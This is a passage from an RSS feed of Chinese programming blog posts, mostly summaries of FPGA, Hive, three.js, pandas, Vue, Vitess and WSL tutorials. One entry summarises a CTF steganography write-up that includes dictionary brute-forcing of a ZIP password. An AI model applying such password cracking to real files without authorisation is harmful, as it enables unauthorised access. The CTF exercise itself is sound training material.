      <description>初学者学习FPGA，必定会被它的各种仿真弄的晕头转向。比如，前仿真、后仿真、功能仿真、时序仿真、行为级仿真、RTL级仿真、综合后仿真、门级仿真、布局布线后仿真等。&#xA;Quartus和Modelsim软件的仿真形式&#xA;Quartus II有两种仿真形式：1、功能仿真；2、时序仿真。&#xA;Quartus II调用Modelsim的两种仿真形式为：1、RTL级仿真；2、Gate-level仿真。&#xA;以下内容均经过资料查证，详细如下：&#xA;理解方法一&#xA;当用quartus进行仿真时，分为功能仿真（al）和时序仿真（Timing）；&#xA;当用Modelsim-Altera时，分为功能仿真（RTL）、综合后仿真（post-synthesis）和布局布线仿真（Gate-level）。其中，功能仿真又称为前仿真，布局布线仿真又称为后仿真。&#xA;注：此处的功能仿真（RTL）与1中的功能仿真（al）是不一样的，前者是HDL级仿真，后者是门级网表的功能仿真。&#xA;（1）当在quartus中调用Modelsim-Altera进行RTL仿真时（前提是在第三方仿真工具中选择Modelsim-Altera），步骤如下：&#xA;a） 编写源文件和测试文件；&#xA;b） Assignment-》setting-》simulation-》不选中run gate leve simulation.。..。，选中nativelink-》添加测试文件，填写文件名；&#xA;c） start analysis&amp;amp;elabration；&#xA;d） Tools-》start RTL simulation；&#xA;（2）综合后仿真一般不做。&#xA;（3）当在quartus中调用Modelsim-Altera进行Gate-level仿真时（前提是在第三方仿真工具中选择Modelsim-Altera），步骤如下：&#xA;a） 编写源文件和测试文件；&#xA;b）Assignment-》setting-》simulation-》选中run gate leve simulation.。..。，选中nativelink-》添加测试文件，填写文件名；&#xA;c）全编译；&#xA;评价：对于Assignment-》setting-》simulation-》“run gate leve simulation automatically after comlilation”选不选中根本没必要说明，完全可以不用选中，需要在设置处把测试文件testbench添加就可以了（不添加的话到时候 quartus调用出modelsim软件后需要手动添加编译，下面补充了）。如果你想RTL级仿真，那么对于quartus ii只需要进行分析综合就可以，然后点击Tools-》Run EDA Simulation tool-》Run RTL Simulation即可，软件会自动将源文件以及测试文件在modelsim软件里编译，仿真出波形。如果你想Gate-level级仿真，那么对于 quartus ii需要对工程进行全编译，然后点击Tools-》Run EDA Simulation tool-》Run Gate-level Simulation即可，软件会自动将网表文件.vo（verilog输出文件）或.vho（VHDL输出文件）以及测试文件在modelsim软件里编译，并将标准延迟文件SDF（.sdo）添加到modelsim里面，仿真出波形。&#xA;补充：顺便说一句，如果没有在Assignment-》setting-》simulation把测试文件testbench设置好的话，不论是在RTL还是Gate-level级仿真，调用出modelsim后Quartus只把.vo或.vho文件送到modelsim里编译了，然后都需要手动把testbench编译进去的，并且将在Run Gate-level Simulation仿真的时候，.sdo文件也需要手动添加，相对来说比较麻烦。&#xA;vivado中的各种仿真：&#xA;xilinx的开发软件 vivado 的仿真模式， vivado的仿真暂分为五种仿真模式。&#xA;分别为：&#xA;1. run behavioral simulation-----行为级仿真，行为级别的仿真通常也说功能仿真。</description>
    </item>
    <item>
      <title>大数据——hadoop之hive安装和配置</title>
      <link>https://bchobby.github.io/posts/83824341a8316703585dc5ad0a20c6be/</link>
      <pubDate>Sun, 13 Sep 2020 17:20:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83824341a8316703585dc5ad0a20c6be/</guid>
      <description>hadoop之hive安装和配置 安装Hive前，需要准备的条件安装Hive配置Hive 安装Hive前，需要准备的条件 Hive需要hadoop环境&#xA;hadoop环境安装和配置Hive需要zookeeper环境&#xA;zookeeper安装和配置Hive需要myql数据库&#xA;mysql数据安装和设置 安装Hive 进入software目录 [root@hadoop100 ~]# cd /software 解压hive-1.1.0-cdh5.14.2.tar.gz到opt目录下 [root@hadoop100 software]# tar -zxvf hive-1.1.0-cdh5.14.2.tar.gz -C /opt 进入opt目录下 [root@hadoop100 software]# cd /opt 把hive-1.1.0-cdh5.14.2改名 [root@hadoop100 opt]# mv hive-1.1.0-cdh5.14.2/ hive 配置Hive 进入hive目录下，并创建个warehouse目录 [root@hadoop100 opt]# cd hive/ [root@hadoop100 hive]# mkdir warehouse 修改环境变量 [root@hadoop100 hive]# vi /etc/profile 输入 export HIVE_PATH=/opt/hive export PATH=$PATH:$HIVE_PATH/bin 保存退出，使环境变量生效 [root@hadoop100 hive]# source /etc/profile 查看版本信息 [root@hadoop100 hive]# hive --version 进入conf目录下 [root@hadoop100 hive]# cd conf/ 把hive-env.sh.template改名 [root@hadoop100 conf]# mv hive-env.</description>
    </item>
    <item>
      <title>three.js方向光DirectionalLight使用，调整方向光颜色、光源位置、光照强度、光照指向、是否可见、是否产生阴影属性(vue中使用three.js10)</title>
      <link>https://bchobby.github.io/posts/84e5fb47a66d1b37bba38e8cc52002ac/</link>
      <pubDate>Sat, 12 Sep 2020 23:12:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84e5fb47a66d1b37bba38e8cc52002ac/</guid>
      <description>方向光DirectionalLight使用 一、方向光介绍二、如何使用方向光1.创建方向光2.方向光的属性2.1颜色-color2.2是否可见-visible2.3强度-intensity2.4目标-target2.5位置-position2.6是否产生阴影-castShadow2.7投影远点-shadow.camera.far2.8投影近点-shadow.camera.near2.9投影上边界-shadow.camera.top2.10投影下边界-shadow.camera.bottom2.11投影左边界-shadow.camera.left2.12投影右边界-shadow.camera.right2.13shadow.mapSize.width 和 shadow.mapSize.height 三、demo效果四、demo代码 一、方向光介绍 方向光发出的所有光线都是平行的，可以认为是距离很远的光源，例如遥远的太阳光就是方向光，方向光不像聚焦光那样距离目标越远越暗淡，被方向光照射的整个区域收到的光照强度都一样&#xA;二、如何使用方向光 1.创建方向光 创建一个简单的方向光，通过new THREE.DirectionalLight(color)语句就可以创建一个指定颜色的方向光，然后将它添加到场景中就可以了&#xA;var directionalLight = new THREE.DirectionalLight(0x0c0c0c) // 创建方向光 scene.add(directionalLight ) // 将方向光添加到场景 2.方向光的属性 2.1颜色-color color属性继承自基类Light，color属性的类型是Color，所以color属性的值需要通过颜色对象THREE.Color()来创建&#xA;2.2是否可见-visible visible属性继承自基类Object3D，使用很简单，该属性时布尔类型，取值true或false&#xA;2.3强度-intensity intensity属性是用来设置聚光灯的强度，默认值是1，如果设置成0那什么也看不到，该值越大，点光源看起来越亮&#xA;2.4目标-target target属性用来决定光照的方向，一般会指向一个对象&#xA;2.5位置-position position属性表示光源的发光位置，该属性继承自基类Object3D，positon属性的类是Vector3&#xA;2.6是否产生阴影-castShadow castShadow属性是用来控制光源是否产生阴影，取值为true或false&#xA;2.7投影远点-shadow.camera.far 表示到距离光源的哪一个位置可以生成阴影&#xA;2.8投影近点-shadow.camera.near 表示距离光源的哪一个位置开始生成阴影&#xA;2.9投影上边界-shadow.camera.top 2.10投影下边界-shadow.camera.bottom 2.11投影左边界-shadow.camera.left 2.12投影右边界-shadow.camera.right 2.13shadow.mapSize.width 和 shadow.mapSize.height 阴影映射宽度和阴影映射高度。决定了有多少像素用来生成阴影。当阴影具有锯齿状边缘或看起来不光滑时，可以增加这个值。在场景渲染之后无法更改，默认值都为512&#xA;三、demo效果 如上图，该示例支持以下功能&#xA;可以控制方向光是否显示调整方向光颜色调整方向光的位置调整方向光的强度调整聚光灯的照射目标，即光照方向调整聚光灯是否产生阴影 四、demo代码 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div id=&#34;container&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;controls-box&#34;&amp;gt; &amp;lt;section&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-checkbox v-model=&#34;lightProperties.visible&#34;&amp;gt;是否展示方向光&amp;lt;/el-checkbox&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-col :span=&#34;8&#34; class=&#34;label-col&#34;&amp;gt;&amp;lt;label&amp;gt; 方向光颜色&amp;lt;/label&amp;gt;&amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;16&#34;&amp;gt; &amp;lt;div @click=&#34;</description>
    </item>
    <item>
      <title>pandas.errors.ParserError: Error tokenizing data. C error: EOF inside string starting at row 56789</title>
      <link>https://bchobby.github.io/posts/8233be6953b5b7016883b9b4c6943334/</link>
      <pubDate>Sat, 12 Sep 2020 20:07:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8233be6953b5b7016883b9b4c6943334/</guid>
      <description>笔者在用pandas读取csv文件时遇到该报错，根据报错提示，是因为在解析时出现了意外的文件结束符。在具体的报错信息中，会提示第几行触发异常，所以笔者通过查看原始原件的相应的第56789行，发现是该行出现了乱码，并且乱码中有一个双引号；所以实际上，该报错是因为pandas读取csv文件时，会默认把csv文件中两个双引号之间的内容解析为一个string，作为一个字段域读入，并且忽略两个双引号之间的分隔符。所以，在默认方式下，一旦文件中出现了奇数个双引号，那么最后一个引号从所在的行开始，直到文件结束也没有对应的结束引号形成单个字段域，就会报这个异常，即文件结束符(EOF)出现在了字符串中。&#xA;解决办法就是改变pandas在读取csv的这种默认行为。在pandas的read_csv函数中，有两个参数和这个行为有关，分别是quotechar引用符和quoting引用行为，如下所示，摘自pandas的官方文档。&#xA;quotechar : str (length 1), optional&#xA;The character used to denote the start and end of a quoted item. Quoted items can include the delimiter and it will be ignored.&#xA;quoting : int or csv.QUOTE_* instance, default 0&#xA;Control field quoting behavior per csv.QUOTE_* constants. Use one of QUOTE_MINIMAL (0), QUOTE_ALL (1), QUOTE_NONNUMERIC (2) or QUOTE_NONE (3).&#xA;quotechar引用符参数是表示在读取解析时，将指定的符号认为是引用符，不仅仅限制于双引号，默认情况下是双引号。被设为引用符之后，就会按照上面所述的那样，在引用符之间的内容会被解析为单个域读入，包括换行符和分隔符。而quoting表示引用行为，即如何对待引用符的解析。这里具有四种情况，分别是csv.QUOTE_MINIMAL, csv.QUOTE_ALL, csv.QUOTE_NONNUMERIC, csv.QUOTE_NONE.默认是csv.QUOTE_MINIMAL.这四个参数的解释如下：&#xA;csv.QUOTE_MINIMAL：只有当遇到引用符时，才会将引用符之间的内容解析为一个字符域读入，并且读取之后的域是没有引用符的，即引用符本身只作为一个域的边界界定，不会显示出来；在写入时，也只有具有引用符的域会在文件中加上引用符。&#xA;csv.QUOTE_ALL：在写入文件时，将所有的域都加上引用符。&#xA;csv.QUOTE_NONNUMERIC：写入文件时，将非数字域加上引用符。&#xA;csv.QUOTE_NONE：读取文件时，不解析引用符，即把引用符当做普通字符对待并且读入，不做特殊的对待；在写入文件时，也不对任何域加上引用符。&#xA;所以，要解决这个异常，我们只需要将quoting参数设为3，或者导入python的内置模块csv，设为csv.QUOTE_NONE，这样pandas在读取时，就只会把引用符当做普通字符，从而不会一直寻找对应的结束引用符直至文件结束都没找到，从而报错。当然，由于这行是乱码，分隔符数量很可能也不正常，即分隔后和前面的行的域的个数不一致，还会报错，所以我们只需要将error_bad_lines参数设为False，这样pandas就会自动删除这种不正常的bad lines，从而文件剩下的正常的内容就可以正常的读入了。当然，根据quotechar的功能，我们也可以通过将quotechar设为其他的单个字符，从而pandas会把双引号当做普通字符，但是这样做的风险在于可能会触发其他引用符带来的异常，所以不推荐这样做。</description>
    </item>
    <item>
      <title>在vue中如何在input中点击时，选中输入框中所有内容</title>
      <link>https://bchobby.github.io/posts/485564fd36fb516047e195287196dc79/</link>
      <pubDate>Sat, 12 Sep 2020 17:28:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/485564fd36fb516047e195287196dc79/</guid>
      <description>在vue中如何在input中点击时，选中所有内容 &amp;lt;input type=&#34;text&#34; :placeholder=&#34;showLogin === true ? &#39;请输入手机号&#39;:&#39;请输入用户名/邮箱&#39;&#34; v-model=&#34;userPhone&#34; @click=&#34;selectValue($event)&#34; /&amp;gt; methods: { // 点击选中所有 selectValue(e) { console.log(e); e.currentTarget.select(); }, } 参考博客：vue中如何让表单点击的时候选中表单中的内容？</description>
    </item>
    <item>
      <title>基于SSM框架的校园二手交易平台实战记录（二）</title>
      <link>https://bchobby.github.io/posts/99de791b9112efcb7293698c87351243/</link>
      <pubDate>Sat, 12 Sep 2020 17:00:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99de791b9112efcb7293698c87351243/</guid>
      <description>持久对象层 首先先放一个目录结构：&#xA;从目录结构应该看出来了，基本上就是user、goods、bills的增删改查，我也就只例举一个user管理的操作了，剩下的goods、bills照猫画虎就行了。&#xA;先在pojo文件夹下创建一个User类，然后写上类的属性和toString、get、set方法就行了。&#xA;public class Yzq_User { private String userId; private String username; private String password; private int role; private String phone; private String gender; private int age; private Date createtime; private String address; @Override public String toString() { return &#34;Yzq_User [userId=&#34; + userId + &#34;, username=&#34; + username + &#34;, password=&#34; + password + &#34;, role=&#34; + role + &#34;, phone=&#34; + phone + &#34;, gender=&#34; + gender + &#34;</description>
    </item>
    <item>
      <title>基于SSM框架的校园二手交易平台实战记录（一）</title>
      <link>https://bchobby.github.io/posts/a9abbb207d73d20a98562dcb20e7421c/</link>
      <pubDate>Sat, 12 Sep 2020 16:59:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9abbb207d73d20a98562dcb20e7421c/</guid>
      <description>项目描述 这是大学期间实训时的小组项目，我主要负责框架搭建和后端实现，也涉及了部分前端页面设计。这篇文章主要是进行一个实战记录，方便自己以后回顾，也顺便分享我自己的项目开发历程，也希望能帮到像我一样的小白，文章中如有错误，希望大佬能够指出，感谢。&#xA;JDK版本：1.7数据库：MySQL框架：Spring + SpringMVC + MyBatis服务器：Tomcat开发工具：MyEclipse 10 二手商品交易平台是一个针对校园范围内使用的二手商品交易平台，是提供个人与个人之间的电子商务通道，用户即是买家又是卖家。平台中，用户可以发布自己的闲置二手物品，浏览校园内闲置商品信息，可以搜索自己想要购买的商品，来购买其他卖家的闲置商品，在确认购买商品后，会在订单中获得卖家的联系信息，与卖家私下交流完成交易。&#xA;该项目是针对校园中的学生，方便学生去获得周围闲置物品信息的平台，交易全是学生自主交易，本产品不承担相应的法律责任。&#xA;项目预览 用户页面 登录页面&#xA;这是用户登录界面，管理员登录页面从登录按钮的左下链接进入。&#xA;注册页面&#xA;网站主页&#xA;商品页面&#xA;商品详情页&#xA;购买后，按订单中的联系方式，自行联系卖家，双方私下交易，平台不进行资金流转，这样就能有效避免商品与实物不符的问题。&#xA;商品发布页面&#xA;我的发布页面&#xA;商品信息修改页面&#xA;我的订单页面&#xA;修改密码页面&#xA;修改个人信息页面&#xA;管理员页面 管理员主页&#xA;商品管理页面&#xA;商品详情页面&#xA;管理员的商品详情页面没有购买按钮。&#xA;用户管理页面&#xA;项目开发 maven依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;log4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;log4j&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.17&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;jstl&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jstl&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/commons-fileupload/commons-fileupload --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;commons-fileupload&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-fileupload&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- Mysql的驱动包 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;5.1.21&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- dbcp坐标 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;commons-dbcp&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-dbcp&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- aspectj坐标 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>ByteBuffer</title>
      <link>https://bchobby.github.io/posts/280d318585804c2c8380059ca62c0604/</link>
      <pubDate>Fri, 11 Sep 2020 20:19:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/280d318585804c2c8380059ca62c0604/</guid>
      <description>大小端的基础知识：&#xA;小端 （ little-endian）：低位字节在前，高位字节在后。大端（Big-Endian），则反之。具体而言，就是为了说清楚，CPU架构中1字(word)的存储顺序。计算机内存中数据自然流动的顺序就是：低位先来，高位紧随其后&#xA;JAVA中所有的二进制文件都是按大端存储，这种存储方式也被称为network order。即在所有的平台上，如Mac、 PC、 UNIX等等运行JAVA，都不用考虑大小端的问题。麻烦的是不同语言开发的程序进行数据交换，如笔者最近的项目，二进制文件是由C生成的，通过redis 消息通道以Json格式发过来，而C语言默认是小端模式，就涉及到大小端转换。有些平台（如Mac、IBM 390）内置用的大端模式，其它一些平台内置用的小端模式 (如Intel)。JAVA帮你屏蔽了各平台字节顺序的差异。&#xA;32位16进制的 0x45679812在内存中的存储（大小端模式）如下图：&#xA;/**&#xA;* 将小端bytes数据转化为大端数据&#xA;* * 默认网络传输字节为大端，java 全部为大端（与平台无关）&#xA;* 关于 “Little-Endian and Big-Endian”,详情请参考：&#xA;*&#xA;* @param bytes&#xA;* @return 转化后得到的整数&#xA;* @Link https://howtodoinjava.com/java/basics/little-endian-and-big-endian-in-java/&#xA;* */ private int bytesToBigEndian(byte[] bytes) { int result = 0; if (bytes == null || bytes.length &amp;lt; 0) return -1; ByteBuffer buffer = ByteBuffer.wrap(bytes); buffer.order(ByteOrder.BIG_ENDIAN); if (bytes.length == RECORD_BYTES_SIZE) { result = buffer.getInt(); } else if (bytes.</description>
    </item>
    <item>
      <title>【异常】Cannot read property ‘style‘ of undefined</title>
      <link>https://bchobby.github.io/posts/cdca46f5ccad31f9b425c4e6e38ffe5e/</link>
      <pubDate>Fri, 11 Sep 2020 17:18:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cdca46f5ccad31f9b425c4e6e38ffe5e/</guid>
      <description>1、一定要看看自己的传数据的地方是不是写错单词了！！&#xA;我把url 或者 php文件的名字写错了，就找不到对应的数据，然后你利用这些数据进行下一步操作时，自然是会报错；&#xA;下面这个是报错 定位到的地方：&#xA;1）看看自己这个地方变量名称是不是写错了&#xA;2）如果你的变量 （blcokTable）没有获得数据或者写错就会导致无法获取到数据，就会报这个错！！！！！&#xA;2、还可能是你文件还没加载完成就执行了js操作，也会报这个错&#xA;可以看下这个博客&#xA;window.onload的问题</description>
    </item>
    <item>
      <title>Win10系统上直接使用linux子系统教程（仅需五步！超简单，快速上手）</title>
      <link>https://bchobby.github.io/posts/0f5edbe2aa1368d1a7a38c8585c5076b/</link>
      <pubDate>Fri, 11 Sep 2020 16:39:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f5edbe2aa1368d1a7a38c8585c5076b/</guid>
      <description>废话不多说，直接上教程，喜欢请收藏加关注！谢谢支持！！！&#xA;第一步，搜索打开win10自带的应用商店 第二步，在商店内搜索安装Windows Terminal（不下载此软件也可以使用linux子系统，但是传统linux命令行终端操作不够便捷） 此时，我们仅仅安装了一个命令行终端而已，离我们扔掉Linux的目标还差上一小节。下面就介绍怎么在Windows上安装Ubuntu&#xA;首先与传统方法作比较：&#xA;传统方案一、通过虚拟机安装Linux，然后终端去访问。&#xA;传统方案二、划分一个分区安装Linux，然后重启的时候进行切换。&#xA;现在我们可以使用第三种方式，将linux作为win10的一个子系统来实现对linux的操作，下面进入重要环节，我们继续！！！&#xA;第三步，在控制面板，找到程序和功能选项（版本不同，有的系统是程序），点击 “启用或关闭Windows功能”，如下图所示： 从弹出的对话框里，划到最下边，然后给“适用于Linux的Windows子系统“，打勾！&#xA;此处会要求重启电脑，选择重启！&#xA;第四步，从Windows应用商店安装linux系统，这个系统将会以软件的形式存在。（搜索linux，找到自己喜欢的系统下载即可，作者使用的是Ubuntu系统） 第五步，此时，在我们的Windows Terminal右上角，有一个向下的箭头，点击它，就可以看到刚刚安装的linux系统（我这里是Ubuntu） 进入Linux系统之后，就是我们熟悉的Linux文件夹啦，我们就可以像配置一个普通Linux一样配置这台机器。&#xA;至此，Linux&#xA;作为Windows的子系统已经下载完成，是不是超级简单！&#xA;下面是一些注意事项： 1、win系统中linux的文件保存在哪里？&#xA;C:\Users\你的电脑用户名\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu20.04onWindows_79rhkp1fndgsc\LocalState\rootfs&#xA;2、linux终端上怎样访问Windows的内容？&#xA;Windows的所有内容均在/mnt下，其中c、f、g为我的电脑盘符&#xA;3、内置的Linux系统使用的IP地址与window系统的IP是共享的&#xA;更进一步！ 作者才疏学浅，如果想linux子系统的使用更进一步，其他操作诸如C++编译环境、linux图形界面等的配置，可以参考以下博文。&#xA;https://blog.csdn.net/Azraelcc/article/details/95937372?utm_medium=distribute.pc_relevant_t0.none-task-blog-opensearch-1.channel_param&amp;amp;depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-opensearch-1.channel_param</description>
    </item>
    <item>
      <title>lookup vindex</title>
      <link>https://bchobby.github.io/posts/e88d72f88e9419fba5af570243e26ead/</link>
      <pubDate>Fri, 11 Sep 2020 15:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e88d72f88e9419fba5af570243e26ead/</guid>
      <description>文章目录 创建vttablet创建lookup vindex创建VReplication streams 创建vttablet 分别在116、117、118节点上创建vttablet&#xA;主机116117118vttablet200201202vttablet300301302 for i in 200 201 202;do sh scripts/vttablet-up.sh user i vt_user1 3313 -80 done vtctlclient \ -server 10.216.91.117:15999 \ -log_dir /data/service_data/vitess/vtdataroot/tmp/ \ -alsologtostderr \ InitShardMaster -force user/-80 zone1-200 for i in 300 301 302;do sh scripts/vttablet-up.sh user i vt_user2 3314 80- done vtctlclient \ -server 10.216.91.117:15999 \ -log_dir /data/service_data/vitess/vtdataroot/tmp/ \ -alsologtostderr \ InitShardMaster -force user/80- zone1-300 创建vschema:&#xA;vim vschema_user_sharded.json&#xA;{ &#34;sharded&#34;: true, &#34;</description>
    </item>
    <item>
      <title>Vindex</title>
      <link>https://bchobby.github.io/posts/8af4985502118a0b6813c0e69dd549a3/</link>
      <pubDate>Fri, 11 Sep 2020 14:35:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8af4985502118a0b6813c0e69dd549a3/</guid>
      <description>文章目录 vindex如何选择vindexvindex的优势Primary VindexSecondary VindexLookup Vindex keyspace id vindex Vindex可以将字段值映射为keyspace ids。Vitess中的每个分片都覆盖一定范围的keyspace ID值，因此可以使用此映射来识别每一行属于哪个分片。&#xA;如何选择vindex where条件中频繁使用的列唯一性 (映射函数)用于join关联的列基数较高的列 vindex的优势 Vindex的优势源于其灵活性:&#xA;一张表可以有多个vindex.Vindexes可以是非唯一的，允许一个列产生多个kespace id值。Vindexes可以是一个简单的函数或者基于lookup表。Vindex可以在多张表中进行共享。可以创建使用自定义的Vindexes。 Primary Vindex Primary Vindex类似于表中的主键。每张分片表中必须含有一个Primary Vindex。primary vindex必须是唯一的：也就是说给定一个输入值，只能生成一个keyspace id。Primary Vindex决定了插入的行属于哪一个分片。通常可以将Primary Vindex称为分片键。&#xA;Primary Vindex必须是唯一的，但不一定是主键或唯一键，允许不同行映射为同一个keyspace id，Vindex唯一性约束仅确保同一个分片中的所有行具有相同的keyspace id边界。&#xA;分片表必须有一个Primary VindexPrimary Vindex必须是唯一的，但不一定是主键或唯一键，允许不同行映射为同一个keyspace idPrimary Vindex列称为分片键Primary Vindex不仅定义了分片键还决定了分片策略 Secondary Vindex Secondary Vindexes可以为where条件中没有使用primary vindex提供选择优化。Secondary Vindexes返回一个或多个keyspace id，可以确保查询落在确定的分片上，如果没有Secondary Vindexes，查询语句将会分散到所有分片上。&#xA;secondary vindex列上需要有相应的辅助索引。&#xA;Lookup Vindex 使用lookup vindex需要创建一张表，该表包含两个字段，第一个字段为主表的vindex字段，第二个字段字符类型为binary或者VARBINARY需要存储keyspace id。主表中插入数据时相应的也会在lookup表中插入数据。&#xA;表结构示例：&#xA;create table user_seq( id int, next_id bigint, cache bigint, primary key(id) ) comment &#39;vitess_sequence&#39;; insert into user_seq(id, next_id, cache) values(0, 1, 3); create table music_seq( id int, next_id bigint, cache bigint, primary key(id) ) comment &#39;vitess_sequence&#39;; insert into music_seq(id, next_id, cache) values(0, 1, 2); create table name_keyspace_idx( name varchar(128), keyspace_id binary(8), primary key(name, keyspace_id) ); create table user( user_id bigint, name varchar(128), primary key(user_id) ); create table user_extra( user_id bigint, extra varchar(128), primary key(user_id) ); create table music( user_id bigint, music_id bigint, primary key(user_id, music_id) ); create table music_extra( music_id bigint, keyspace_id bigint unsigned, primary key(music_id) ); create table name_info( name varchar(128), info varchar(128), primary key(name) ); create table music_keyspace_idx( music_id bigint not null auto_increment, keyspace_id binary(8), primary key(music_id) ); vschema示例：</description>
    </item>
    <item>
      <title>CTF-隐写术（一）</title>
      <link>https://bchobby.github.io/posts/aacb1edf890a59d8c298d7f9e92ebbd6/</link>
      <pubDate>Fri, 11 Sep 2020 14:32:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aacb1edf890a59d8c298d7f9e92ebbd6/</guid>
      <description>声明：以下CTF题均来自网上收集，在这里主要是给新手们涨涨见识，仅供参考而已。需要题目数据包的请私信或在下方留言。 1.欢迎来到地狱（来源：实验吧） 1.关卡描述 2.解题步骤 分析：&#xA;查看压缩包文件：&#xA;发现一张图片和word文档，并打开：&#xA;图片打不开（猜测密钥就在图片中），把图片拖入winhex中，发现缺少文件头(.jpg FFD8FF)，粘贴3字节修改一下即可。&#xA;https://pan.baidu.com/s/1i49Jhlj&#xA;是一段音频 使用audacity 来处理这段音频：地狱之声.wav&#xA;发现其类似莫斯电码，&#xA;-.- . -.-- .-.. . - ..- ... --. --- 将音频听到的声音，按照摩斯电码的规律记录下来“-.- . -.-- .-.. . - ..- ... --. --- ”，用CTFCrackTools工具进行转换得到一串字符“KEYLETUSGO”&#xA;KEYLETUSGO&#xA;得到word密码:letusgo(小写有点坑)&#xA;打开word后：&#xA;看看 word里面有没有隐藏文字&#xA;文件--》选项---》隐藏文字的勾 勾上 出来了 steganography&#xA;上工具。。。&#xA;文档文字中说这张狗是通向第三层的钥匙，所以把狗的图片复制出来进行分析。&#xA;推荐两个在线解读隐藏信息的图片：&#xA;http://www.atool.org/steganography.php&#xA;http://tools.jb51.net/aideddesign/img_add_info&#xA;密钥：key{you are in finally hell now}&#xA;根据刚才的经验，知道这个key肯定是最后一个压缩包所要用到的&#xA;解压后有两个文件：&#xA;一张图片和一个txt文本信息，打开这个txt文档&#xA;通过里面的文字说明可以知道这个文档是那张图片所需要的秘钥，而文档理由提出按二进制数字，将其8个一组进行转换ASCII码，得到“ruokouling”，翻译成中文就是“弱口令”，好吧，这个的意思要么这个拼音是图片的秘钥，要么就是图片的解密需要弱口令，而需要弱口令的通常是爆破的时候，也就是说这张图片可能隐藏了一个压缩文件，所以用kali里的binwalk工具查看&#xA;把图片 地狱大门.jpg 的后缀改成 地狱大门.zip&#xA;然后打开：&#xA;需要解密：&#xA;通过之前的解密得到的提示，需要使用弱口令，所以打开工具Ziperello，进行弱口令字典爆破得出密码：（需要一个好的字典）&#xA;输入密码Password,打开这个文件，发现一段说明:&#xA;贝斯即base sixfour即64</description>
    </item>
    <item>
      <title>ABAP-GUI的导出到excel的系统自带按钮</title>
      <link>https://bchobby.github.io/posts/1e7aa4e9d0726c1ca458a9ab947260ba/</link>
      <pubDate>Fri, 11 Sep 2020 10:39:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e7aa4e9d0726c1ca458a9ab947260ba/</guid>
      <description>按钮&amp;amp;XXL</description>
    </item>
    <item>
      <title>批量地址解析</title>
      <link>https://bchobby.github.io/posts/e805daadbebaf5a2ffb857f46397e34e/</link>
      <pubDate>Thu, 10 Sep 2020 22:12:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e805daadbebaf5a2ffb857f46397e34e/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;批量地址解析&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://api.map.baidu.com/api?v=1.3&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;input type=&#34;button&#34; value=&#34;批量地址解析&#34; onclick=&#34;bdGEO()&#34; /&amp;gt; &amp;lt;div id=&#34;result&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; var index = 0; var myGeo = new BMap.Geocoder(); var adds = [ &#34;百度大厦&#34;, &#34;奎科大厦&#34;, &#34;中央民族大学&#34;, &#34;佳郡国际水疗&#34;, &#34;金坛区晨鸿服装水洗公司&#34;, &#34;常州市双成塑母料有限公司&#34;, &#34;常州河海服装厂&#34;, &#34;领域世家&#34; ]; function bdGEO(){ var a = adds[index]; geocodeSearch(a); index++; } function geocodeSearch(a){ if(index &amp;lt; adds.length){ setTimeout(window.bdGEO,300); } myGeo.getPoint(a, 